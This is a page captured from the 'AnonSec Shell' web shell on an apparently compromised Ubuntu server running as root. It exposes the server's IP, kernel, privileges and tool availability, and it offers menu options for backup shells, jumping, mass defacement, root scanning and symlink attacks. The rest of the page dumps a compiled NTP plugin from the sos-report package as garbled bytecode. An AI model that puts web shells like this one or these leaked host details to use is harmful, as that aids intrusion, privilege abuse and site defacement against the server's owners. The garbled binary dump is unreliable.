AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/sos/report/plugins/__pycache__/ntp.cpython-310.pyc
o

���b��@sRddlmZmZmZmZGdd�de�ZGdd�dee�ZGdd�deee�ZdS)	�)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPluginc@s$eZdZdZdZdZdZdd�ZdS)�NtpzNetwork Time Protocol�ntp)�system�services)rcCs~|jddd�|�ddg�|jddgdd	�|�d
�}|ddkr;d
d�|d��dd�D�D]}|�d|�q1dSdS)Nz
/etc/ntp.conf�ntp_conf)�tagsz/etc/ntp/step-tickersz/etc/ntp/ntpservers�ntptimezntpq -pnT)�
cmd_as_tagz
ntpq -c as�statusrcSsg|]}|��d�qS)�)�split)�.0�i�r�8/usr/lib/python3/dist-packages/sos/report/plugins/ntp.py�
<listcomp>#szNtp.setup.<locals>.<listcomp>�output�zntpq -c 'rv %s')�
add_copy_spec�add_cmd_output�collect_cmd_output�
splitlines)�self�ids�asidrrr�setups"���
"�z	Ntp.setupN)�__name__�
__module__�__qualname__�
short_desc�plugin_name�profiles�packagesrrrrrrsrc�eZdZ�fdd�Z�ZS)�	RedHatNtpcs&tt|���|�d�|�d�dS)Nz/etc/sysconfig/ntpd�ntpstat)�superr(rrr�r��	__class__rrr)s
zRedHatNtp.setup�r r!r"r�
__classcell__rrr,rr('�r(cr')�	DebianNtpcstt|���|�d�dS)Nz/etc/default/ntp)r*r1rrr+r,rrr1szDebianNtp.setupr.rrr,rr1/r0r1N)�sos.report.pluginsrrrrrr(r1rrrr�<module>s

Anon7 - 2022
AnonSec Team